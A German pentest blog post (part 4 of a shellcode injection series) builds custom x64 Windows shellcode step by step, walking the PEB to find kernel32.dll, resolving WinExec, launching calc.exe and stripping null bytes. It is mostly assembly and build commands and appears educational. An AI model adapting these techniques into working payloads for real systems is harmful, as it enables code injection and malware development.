{{tag>IT-Security Windows Kali pentest blog deutsch}}
====== Shellcode Injection Teil 4 ======
{{:it-security:blog:sc4-header.jpg?400|}}
In diesem Beitrag beschäftigen wir uns nur nebenher mit der Verschleierung von Shellcodes. An diesem Punkt wollte ich einen Custom-Shellcode entwickeln, um mehr über die Funktionsweise zu lernen.
Folgende Anforderungen sollten hierbei erfüllt sein:
* Start von ''calc.exe'' auf einem Windows Rechner
* 64-Bit Code
* Vermeiden von Null-Bytes
===== Vorbereitungen =====
==== Shellcode? Nichts leichter als das! ====
Das dachte ich zumindest. Tatsächlich hat es einiges an Zeit gekostet die Funktionsweise zu verstehen. Dies lag zum Teil auch an fehlenden ''x64dbg'' Kenntnissen. Gerade das Live-Debugging hat sehr viel Zeit gekostet, da ich viele nützliche Befehle noch nicht kannte.
Zum Glück gibt es eine hilfreiche Webseite, welche ich gerne als Referenz genutzt habe.((https://help.x64dbg.com/en/latest/commands/index.html
))
==== Hilfreiche Tools ====
* Microsoft Visual Studio((https://visualstudio.microsoft.com/de/downloads/))
* x64dbg((https://x64dbg.com/))
* PEView((http://wjradburn.com/software/))
* ShenCode((https://github.com/psycore8/shencode))
==== Hilfreiche Webseiten ====
Es gibt viele gute Referenzen im Internet. Ein etwas jüngerer [[https://print3m.github.io/blog/x64-winapi-shellcoding|Blogpost]] hat mich schließlich auf die Idee für diesen Blogpost gebracht. Der entsprechende fertige Shellcode hierzu ist auf [[https://github.com/Print3M/shellcodes/blob/main/calc-exe.asm|GitHub]] veröffentlicht. Dieser ist gut verständlich und nachvollziehbar.
Ein weiterer Blogpost von [[https://www.ired.team/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode|Red Team Notes]] habe ich für den Aufbau des Shellcodes genutzt.
===== Code: Schritt für Schritt =====
Den kompletten Code findet ihr auch auf [[https://github.com/psycore8/nosoc-shellcode/tree/main/nosoc-shellcode-4|Github]].
Welche Schritte sind nun nötig, um ''calc.exe'' aus einem Shellcode zu starten?
- ''kernel32.dll'' Basis Adresse finden
- ''WinAPI'' im Speicher ermitteln
- Funktion ''WinExec'' finden
==== Variablen und Stack ====
Im ersten Schritt reservieren wir uns Speicher für unsere Variablen:
sub rsp, 40h
xor rax, rax
mov [rbp - 08h], rax ; Number_of_Exported_Functions
mov [rbp - 10h], rax ; Adress_Table
mov [rbp - 18h], rax ; Name_Ptr_Table
mov [rbp - 20h], rax ; Ordinal_Table
mov [rbp - 28h], rax ; Pointer(WinExec-String)
mov [rbp - 30h], rax ; Address(WinExec-Function)
mov [rbp - 38h], rax ; reserved
Für den späteren Suchdurchlauf müssen wir den String ''WinExec\n'' auf den Stack pushen und die Zeigeradresse speichern.
push rax
mov rax, 0x00636578456E6957 ; 0x00 + c,e,x,E,n,i,W
push rax ; push WinExec\n to stack
mov [rbp - 28h], rsp ; Pointer(WinExec-String) -> Var
==== kernel32.dll Basis Adresse ====
Mit jedem Start eines Prozesses in Windows, werden Module in diesen Prozess geladen. Eines dieser Module ist unsere ''kernel32.dll''. Im Arbeitsspeicher werden durch Windows Datenstrukturen angelegt, welche alle für uns nötigen Informationen bereit halten.
Ähnlich wie in einem Buch, rufen wir ein Inhaltsverzeichnis (Pointer) auf, welches auf die richtige Seitenzahl (relevanter Speicherbereich) zeigt.
Die erste dieser Strukturen ist der ''TEB'' (Thread Environment Block). Dieser beinhaltet einen Zeiger auf den ''PEB'' (Process Environment Block), welcher uns Auskunft über die geladenen Module gibt.
Den Zeiger zur ''PEB'' finden wir über das Register ''gs'' am Offset ''0x60'', sprich ab Byte 60. Wir laden nun die Speicheradresse in das Register ''rax''.
mov rax, gs:[0x60]
Jetzt befinden wir uns im ''PEB'' und navigieren durch den Speicherbereich:
PEB + 18 Bytes -> Pointer(Ldr)
Ldr + 20 Bytes -> Pointer(InMemoryModuleList)
InMemoryModuleList(1) -> ProcessModule
InMemoryModuleList(2) -> ntdll Module
InMemoryModuleList(3) + 20 Bytes -> kernel32.dllbase
In unserem Code sieht dies dann so aus:
mov rax, [rax + 0x18] ; PEB + 18 Bytes -> Pointer(Ldr)
mov rax, [rax + 0x20] ; Ldr + 20 Bytes -> Pointer(InMemoryModuleList)
mov rax, [rax] ; InMemoryModuleList -> ProcessModule
mov rax, [rax] ; InMemoryModuleList -> ntdll Module
mov rax, [rax + 0x20] ; InMemoryModuleList -> kernel32 + 20 Bytes DllBase
mov rbx, rax ; Save kernerl32.base to rbx
==== WinAPI ====
Mit der ''kernel32'' Basis Adresse können wir die WinAPI suchen. Hierzu benötigen wir erneut ein paar Adressen:
kernel32.base + 0x3c Bytes -> Pointer(RVA_PE_Signature)
RVA_PE_Signature + 0x88 Bytes -> Pointer(RVA_Export_Table)
RVA_Export_Table + 0x14 Bytes -> Number_of_Exported_Functions
RVA_Export_Table + 0x1c Bytes -> RVA_Address_Table
RVA_Export_Table + 0x20 Bytes -> RVA_Name_Pointer_Table
RVA_Export_Table + 0x24 Bytes -> RVA_Ordinal_Table
Setzen wir dies nun in ''ASM'' um:
mov eax, [rbx + 0x3c] ; Pointer(RVA_PE_Signature)
add rax, rbx ; rax = kernel32.base + RVA_PE_Signature
mov eax, [rax + 0x88] ; Pointer(RVA_Export_Table)
add rax, rbx ; rax = kernel32.base + RVA_Export_Table
mov ecx, [rax + 0x14] ; Number_of_Exported_Functions
mov [rbp - 8h], rcx ; Number_of_Exported_Functions -> Var
mov ecx, [rax + 0x1c] ; RVA_Address_Table
add rcx, rbx ; Adress_Table = kernel32.base + RVA_Address_Table
mov [rbp - 10h], rcx ; Adress_Table -> Var
mov ecx, [rax + 0x20] ; RVA_Name_Ptr_Table
add rcx, rbx ; Name_Ptr_Table = kernel32.base + RVA_Name_Ptr_Table
mov [rbp - 18h], rcx ; Name_Ptr_Table -> Var
mov ecx, [rax + 0x24] ; RVA_Ordinal_Table
add rcx, rbx ; Ordinal_Table = kernel32.base + RVA_Ordinal_Table
mov [rbp - 20h], rcx ; Ordinal_Table -> Var
Öffnet die Datei ''windir\syswow64\kernel32.dll'' in PEView. So könnt ihr die gesuchten Speicherbereiche besser nachvollziehen.
==== WinExec ====
=== Iteration ===
Nun folgt eine Iteration, welche die Export-Funktionen solange abfragt, bis ''WinExec'' gefunden wurde oder die Anzahl der Funktionen durchlaufen ist:
xor rax, rax
xor rcx, rcx
findWinExecPosition:
mov rsi, [rbp - 28h] ; Pointer(WinExec-String)
mov rdi, [rbp - 18h] ; Pointer(Name_Ptr_Table)
cld ; clear direction, low -> high Adresses
mov edi, [rdi + rax * 4] ; RVA_Next_Function from Name_Ptr_Table
add rdi, rbx ; Adress_Next_Function
mov cl, 8 ; compare first 8 Bytes
repe cmpsb ; check if rsi == rdi
jz WinExecFound ; if found -> jump
inc rax ; else: increase the counter
cmp rax, [rbp - 8h] ; counter = Number_of_Exported_Functions
jne findWinExecPosition ; if not -> jump
=== Funktion gefunden ===
Wurde die Funktion gefunden, springt der Code zur ''WinExecFound''-Marke. Hier wird die reale, virtuelle Adresse der Funktion berechnet. Mit dieser sind wir schließlich in der Lage ''WinExec'' zu adressieren. Der Vorgang wird von [[https://www.ired.team/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode#finding-winexec-ordinal-number-1|Red Team Notes]] genauer beleuchtet.
WinExecFound:
mov rcx, [rbp - 20h] ; Ordinal_Table
mov rdx, [rbp - 10h] ; Adress_Table
mov ax, [rcx + rax * 2] ; Ordinal_WinExec
mov eax, [rdx + rax * 4] ; RVA_WinExec
add rax, rbx ; VA_WinExec
jmp short InvokeWinExec
=== WinExec ausführen ===
Nun übergeben wir alle wichtigen Parameter an ''WinExec'' und rufen die Funktion anschließend auf. Ein Blick in die Funktionsdokumentation ist hierbei hilfreich.((https://learn.microsoft.com/de-de/windows/win32/api/winbase/nf-winbase-winexec))
UINT WinExec(
[in] LPCSTR lpCmdLine,
[in] UINT uCmdShow
);
Wir benötigen einen String für die Kommandozeile und einen Integer für die Anzeige des Fensters.
Es gibt jedoch noch mehr Dinge zu beachten, wenn wir die WinAPI aufrufen.((https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170))((https://print3m.github.io/blog/x64-winapi-shellcoding#execute-winexec-function))
* Argument Register (von links nach rechts): ''RCX (lpCmdLine), RDX (uCmdShow), R8, R9, Stack''
* Der Stack muss auf 16 Bytes ausgerichtet werden: ''and rsp, -16''
* Shadow Space, ein leeres 32 Bytes Segment auf dem Stack, welches für interne WinAPI Zwecke benötigt wird: ''sub rsp, 32''
Unseren string ''calc.exe'' übergeben wir wieder in umgekehrter Schreibweise an den Stack und anschließend füllen wir das untere Byte-Segment des ''RDX'' Registers mit dem Wert ''0x1'', was dem Wert ''SW_SHOWDEFAULT'' entspricht.
Dann erfüllen wir noch die WinAPI Aufrufkonventionen, wie oben beschrieben und können ''WinExec'' mit dem Befehl ''call rax'' aufrufen.
InvokeWinExec:
xor rdx, rdx
xor rcx, rcx
push rcx
mov rcx, 0x6578652e636c6163 ; exe.clac
push rcx
mov rcx, rsp ; rcx = calc.exe
mov dl, 0x1 ; uCmdSHow = SW_SHOWDEFAULT
and rsp, -16 ; 16-byte Stack Alignment
sub rsp, 32 ; STACK + 32 Bytes (shadow spaces)
call rax ; call WinExec
{{:it-security:blog:91w0vu.gif|}}
===== Null-Bytes =====
Wir können den Code nun mit folgendem Befehl kompilieren:
nasm -f win64 calc-unsanitized.asm -o calc-unsanitized.o
Dann lohnt sich ein Blick in die kompilierte Datei:
objdump -d calc-unsanitized.o
{{:it-security:blog:calc-unsanitized.png|}}
Es fallen direkt einige Stellen auf, welche 0-Bytes enthalten. Diese können den Shellcode an der Ausführung hindern, somit müssen wir noch einige Änderungen machen.
==== WinExec Push ====
Wir pushen ''WinExec\n'' auf den Stack. ''\n'' entspricht 0-Byte und wir müssen unseren Code anpassen. Wir ändern ''00'' im String auf ''11''. Nun können wir mit ''shl, shr'' den Inhalt des Registers nach Links bzw. Rechts verschieben. Alle Werte außerhalb werden gelöscht.
mov rax, 0x00636578456E6957 ; 0x00 + c,e,x,E,n,i,W
-->
mov rax, 0x11636578456E6957
shl rax, 0x08 ; shift left 0x08 -> 0x636578456E695700
shr rax, 0x08 ; shift right 0x08 -> 0x00636578456E6957
==== GS Register + 0x60 ====
Die Anweisung ''mov rax, gs:[0x60]'' erzeugt ebenfalls 0-Bytes. Dies können wir umgehen, indem wir ''0x60'' einem niedrigerem Register zuordnen. Anschließend werden die Register addiert.
mov rax, gs:[0x60]
-->
mov al, 60h
mov rax, gs:[rax]
Eine Übersicht der hohen und niedrigen Register findet ihr im [[it-security:64_bit_stack_cheatsheet|64 Bit Stack CheatSheet]].
==== RVA_Table Pointer ====
Die gleiche Methode wenden wir am RVA_Table Pointer an:
mov eax, [rax + 0x88] ; Pointer(RVA_Export_Table)
-->
mov cl, 88h
mov eax, [rax + rcx]
===== Letzte Handgriffe =====
Der Shellcode sieht nun fast gut aus. Wir müssen nur noch die relevanten Anweisungen rausfiltern. Ich nutze hierzu eine kleine Eigenprogrammierung namens [[https://github.com/psycore8/shencode|ShenCode]] .
python shencode.py output -f calc-final.o -s c
Der Befehl liefert uns die Datei in C-Format Syntax. Wir wissen, unser Shellcode beginnt mit den Opcodes ''55 48''. Diese finden sich ab Offset 60. Die letzten Anweisungen sind ''5D C3'' und dann befinden wir uns an Offset 310.
python shencode.py extract -f calc-final.o -o calc-final.sc -fb 60 -lb 310
python shencode.py output -f calc-final.sc -s c
Und hier ist unser fertiger Shellcode!
{{:it-security:blog:shellcode4-01.png|}}
===== Repository =====
git clone https://github.com/psycore8/nosoc-shellcode
===== Referenzen =====
~~DISCUSSION~~